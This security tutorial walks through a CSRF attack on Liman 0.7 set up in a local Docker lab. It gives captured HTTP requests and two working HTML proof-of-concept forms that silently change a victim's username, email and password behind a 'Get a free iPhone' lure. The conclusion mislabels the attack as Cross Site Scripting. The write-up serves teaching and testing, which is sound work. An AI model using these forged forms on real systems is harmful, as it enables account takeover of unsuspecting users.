CSRF Exploitation Case Study
Introduction:
In the earlier articles about Cross Site Request Forgery, we discussed how these vulnerabilities can be identified and exploited. We discussed how Cross Site Request Forgery vulnerabilities can be exploited to update the passwords of a victim user using an intentionally developed vulnerable website (XVWA). This article provides a case study of a CSRF vulnerability from discovery to exploitation using a real world open source project that is publicly available.
Searching for vulnerable apps:
When we want to look for real world web applications that are vulnerable to Cross Site Request Forgery, exploit-db.com is one great place. Searching exploit-db.com with the filter Forgery provides a long list of applications vulnerable to Cross Site Request Forgery as follows.
As we can notice, the preceding figure shows a long list of applications and products that are vulnerable to Cross Site Request Forgery.
Cross Site Request Forgery case study:
Let us choose the second entry with the title Liman 0.7 – Cross-Site Request Forgery (Change Password) from the list shown in the preceding figure from exploit-db. Open the page and we should notice the following.
We can notice that the affected version is 0.7. A quick look at the application’s GitHub page, shows that it can be run as a docker container. This software can be used for container monitoring.
Setting up Liman 0.7
This setup requires docker to be installed. Once Docker is installed, create a volume named liman using the following command.
| $ docker volume create liman |
Next, we can spring up a container using the image available in DockerHub. This can be done using the following command.
| $ docker run -it -v /var/run/docker.sock:/var/run/docker.sock -p 5000:5000 -v liman:/liman/data salihciftci/liman:0.7 |
The preceding command will launch a new container and the liman web interface will be available on port 5000 of the host machine, where the container is started.
The following picture shows the initial web page shown when the web interface is accessed.
As we can notice, the application requires the user to set up a username and password. In this case, the following credentials are used in the setup.
| admin:admin |
Once the setup is complete, users can login using these credentials. Login to the application and navigate to settings, which looks as follows.
There are two forms available on this web page:
- The first form can be used to update the username and email id of the user.
- The second form can be used to update the user’s password.
Let us analyze the HTTP Requests and craft CSRF payloads if these forms are vulnerable.
Following is the HTTP Request made when the user submits the first form.
| POST /settings/profile HTTP/1.1
Host: 192.168.1.91:5000 Content-Length: 36 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://192.168.1.91:5000 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://192.168.1.91:5000/settings Accept-Encoding: gzip, deflate Accept-Language: en-GB,en;q=0.9 Cookie: liman=eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjp7InVzZXJuYW1lIjoiYWRtaW4iLCJlbWFpbCI6InRlc3RAdGVzdC5jb20iLCJhZG1pbiI6MSwiYXZhdGFyIjoiaHR0cHM6Ly93d3cuZ3JhdmF0YXIuY29tL2F2YXRhci9iNjQyYjQyMTdiMzRiMWU4ZDNiZDkxNWZjNjVjNDQ1MiJ9LCJpYXQiOjE2MDM2MTAxOTAsImV4cCI6MTYwNDIxNDk5MH0.qqsbxFDqimE4OUVZGvZLsBMPhQeQHgBQt1ruRWLbhX__pYv0q0tMwZyibvKXaBDWShUoZaSOFBXTH5SoHmJ-_SKb3ZJS27ofjUPDbQlxzP1QeL-1SOg-XUxULKh7Br6geG1g6pesihbC89bZvcVTXQSlpBpxaWoYEZWCnGuLCAWzSB0no54IXeJnFnwRd2UUZ_wW0lKoFZFAMdS987pAKdIRYTGXLr48E_DlRLXsYEs6VhBC8rzO6HhEB-maubdlmJ_waNGWkkFfBMuOIT_6TkHXd3Lgl1EaJUTYnS2jJtpSxwHIlZnGKn9FOH_hjXWvvYVFelpAbc7DXIJtgBWQ4P8rsq43R4sJw9laPQ0rgdFePm4qO-G5gHkZ8ZPeWR_SVVrZzNV9maNXDkfb7x7UsEQTXcx98Demt__7y_0nr5LwO1WMOGpIbjNvLjyAUM1pLYBnRwA-wW8cv2pmmDE6RK46fSTr9g9fPiXLBHauNbUtYyFjAukU01Xsn4al7yVzEMiStp9AjLZ5V9YQ4NL_khrIJ15HrpPhRPPza2gO9YSnwnqvZE9cMqjgjVvTqeMnP-VbQqQo879o7eBSpXYXhnQ-A_iTZm2UL9gLxJvrP7laUYGuX_dvJlDJ8CoYBzPHriKr_4aZnD3ASMQLgp4RyKFJlvxKEWMY8c8DiZ9luYg Connection: close username=hacked&email=test%40hacked.com |
If we closely observe, there is no CSRF token being used by the application and thus leaving the application vulnerable to CSRF. We can use the following Proof of Concept code to exploit this vulnerability.
| <html>
<body> <form action=”http://192.168.1.91:5000/settings/profile” method=”POST”> <input type=”hidden” name=”username” value=”hacked” /> <input type=”hidden” name=”email” value=”test@hacked.com” /> <input type=”submit” value=”Get a free iPhone” /> </body> </html> |
This page can be hosted on an attacker controlled server and it looks as follows when someone accesses this page.
If the victim, who is logged in to the application clicks this button, the username and email id will be updated to the attacker controlled username and email id and the victim will see the following page if he tries to logout and login again.
This is because the original username is updated by the attacker to a new one.
Just with the updated username, the user will still have to work out a way to get the password to be able to take over the victim’s account. Fortunately for an attacker, the second form which is used for updating the password is also vulnerable to CSRF. Following is the HTTP Request seen when a user updates his password.
| POST /settings/password HTTP/1.1
Host: 192.168.1.91:5000 Content-Length: 57 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://192.168.1.91:5000 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://192.168.1.91:5000/settings Accept-Encoding: gzip, deflate Accept-Language: en-GB,en;q=0.9 Cookie: liman=eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjp7InVzZXJuYW1lIjoiYWRtaW4iLCJlbWFpbCI6InRlc3RAdGVzdC5jb20iLCJhZG1pbiI6MSwiYXZhdGFyIjoiaHR0cHM6Ly93d3cuZ3JhdmF0YXIuY29tL2F2YXRhci9iNjQyYjQyMTdiMzRiMWU4ZDNiZDkxNWZjNjVjNDQ1MiJ9LCJpYXQiOjE2MDM2MTAxOTAsImV4cCI6MTYwNDIxNDk5MH0.qqsbxFDqimE4OUVZGvZLsBMPhQeQHgBQt1ruRWLbhX__pYv0q0tMwZyibvKXaBDWShUoZaSOFBXTH5SoHmJ-_SKb3ZJS27ofjUPDbQlxzP1QeL-1SOg-XUxULKh7Br6geG1g6pesihbC89bZvcVTXQSlpBpxaWoYEZWCnGuLCAWzSB0no54IXeJnFnwRd2UUZ_wW0lKoFZFAMdS987pAKdIRYTGXLr48E_DlRLXsYEs6VhBC8rzO6HhEB-maubdlmJ_waNGWkkFfBMuOIT_6TkHXd3Lgl1EaJUTYnS2jJtpSxwHIlZnGKn9FOH_hjXWvvYVFelpAbc7DXIJtgBWQ4P8rsq43R4sJw9laPQ0rgdFePm4qO-G5gHkZ8ZPeWR_SVVrZzNV9maNXDkfb7x7UsEQTXcx98Demt__7y_0nr5LwO1WMOGpIbjNvLjyAUM1pLYBnRwA-wW8cv2pmmDE6RK46fSTr9g9fPiXLBHauNbUtYyFjAukU01Xsn4al7yVzEMiStp9AjLZ5V9YQ4NL_khrIJ15HrpPhRPPza2gO9YSnwnqvZE9cMqjgjVvTqeMnP-VbQqQo879o7eBSpXYXhnQ-A_iTZm2UL9gLxJvrP7laUYGuX_dvJlDJ8CoYBzPHriKr_4aZnD3ASMQLgp4RyKFJlvxKEWMY8c8DiZ9luYg Connection: close password=admin&newPassword=admin2&confirmPassword=admin2 |
As you can notice, the request contains both the old password as well as the new password. However, the application is not verifying the old password. So,as an attacker; one can form the following PoC to forge the request to update the password.
| <html>
<body> <form action=”http://192.168.1.91:5000/settings/password” method=”POST”> <input type=”hidden” name=”password” value=”hacked” /> <input type=”hidden” name=”newPassword” value=”hacked” /> <input type=”hidden” name=”confirmPassword” value=”hacked” /> <input type=”submit” value=”Get a free iPhone” /> </body> </html> |
If the user is tricked to click the button in this form too, the password will also be updated to an attacker controlled password. This leads to full account takeover.
Conclusion:
CSRF vulnerabilities can have great impact depending on what can be exploited. This article has provided a case study of how one can achieve full account take over using a Cross Site Scripting vulnerability. We have also explored exploit-db.com to see how we can find any vulnerable applications. Clearly, Cross Site Request Forgery vulnerabilities can be dangerous as they can lead to attacks like account takeover. In the next article of this series, we will cover how developers can prevent CSRF vulnerabilities in their applications.